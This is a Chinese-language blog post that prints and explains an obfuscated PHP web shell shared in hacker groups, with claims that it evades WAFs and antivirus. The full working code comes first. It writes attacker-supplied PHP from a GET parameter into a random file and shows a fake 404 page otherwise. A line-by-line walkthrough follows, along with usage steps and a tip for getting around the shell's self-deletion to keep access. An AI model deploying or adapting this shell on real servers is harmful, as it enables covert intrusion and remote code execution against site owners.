杀鸡焉用牛刀的免杀小马一枚
最近看到各大黑阔群都在发这个马子,实测静态免杀部分eval不敏感的waf,继续混淆关键字后可静态通杀所有waf,顿生好奇对此木马进行分析。
杀鸡焉用牛刀的免杀小马一枚
免杀截图
Virscan一样0%报毒
Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if ($_GET["5h1k4r"])
{
$OO0OOOO000 = base64_decode("cmFuZA==")(1000000, 9999999).".php";
$O0OO0OOOO0 = base64_decode("Zm9wZW4=")($OO0OOOO000, "w") or die("W D N M D !");
$O0OO0OO00O = $_GET["5h1k4r"]."<?php @unlink ('".$OO0OOOO000."');?>";
$O0OO00OO00 = base64_decode("ZndyaXRl")($O0OO0OOOO0,$O0OO0OO00O);
$O0OO0O0O0O = base64_decode("ZmNsb3Nl")($O0OO0OOOO0);
echo ('<a href="'.$OO0OOOO000.'">Go</a>');
}
else
{
echo (base64_decode("PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjQwNA=="));
}
?>
Analysis
首先我们看 第三行的get 这里get做密码很简单的
1
2
if ($_GET["5h1k4r"])
第五行主要是生成一个文件名称在1000000-9999999数字之内php base64加密了rand参数
1
2
$OO0OOOO000 = base64_decode("cmFuZA==")(1000000, 9999999).".php";
第六行则是 如果无法生成文件(例如权限不足)就会显示代码中所写的“W D N M D !” base64加密了fopen参数
1
2
$O0OO0OOOO0 = base64_decode("Zm9wZW4=")($OO0OOOO000, "w") or die("W D N M D !");
第六行调用了get?密码=的内容 然后生成出第五行中随机生成数字文件名的php 二次密码调用
1
2
$O0OO0OO00O = $_GET["5h1k4r"]."<?php @unlink ('".$OO0OOOO000."');?>";
单凭base64加密的fwrite就能看得出来 他在写出第六第七行中调出的内容
1
2
$O0OO00OO00 = base64_decode("ZndyaXRl")($O0OO0OOOO0,$O0OO0OO00O);
这段代码在你调用的php内容中往后面加一个死™骚的自动删除代码 一访问秒删除ohhhhh死了 所以我推荐调用生成一个能自动生成文件的文件 这样两开花 新文件生成的文件就会保存下来了
1
2
$O0OO0O0O0O = base64_decode("ZmNsb3Nl")($O0OO0OOOO0);
这段代码需要我说嘛?echo刚成自动生成数字的php 然后一键起飞!
1
2
echo ('<a href="'.$OO0OOOO000.'">Go</a>');
其实这段也不用我说的 就是直接访问(我忘了还是密错也会)就会显示base64_decode("PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjQwNA==")
的内容
1
2
3
4
5
else
{
echo (base64_decode("PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjQwNA=="));
}
使用方法
访问?5h1k4r=<?php%20phpinfo();?>时
将会随机生成一个php文件,点击Go即可进入,内容为 <?php phpinfo();?> 当然 访问一次就失效了 关键看你如何使用
如果密码错误或者是直接访问 将显示base64解密PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjQwNA==的内容
后话
虽然那么多行代码完全够写一个shell就是了。。
感谢技术援助@Given
This post is licensed under
CC BY 4.0
by the author.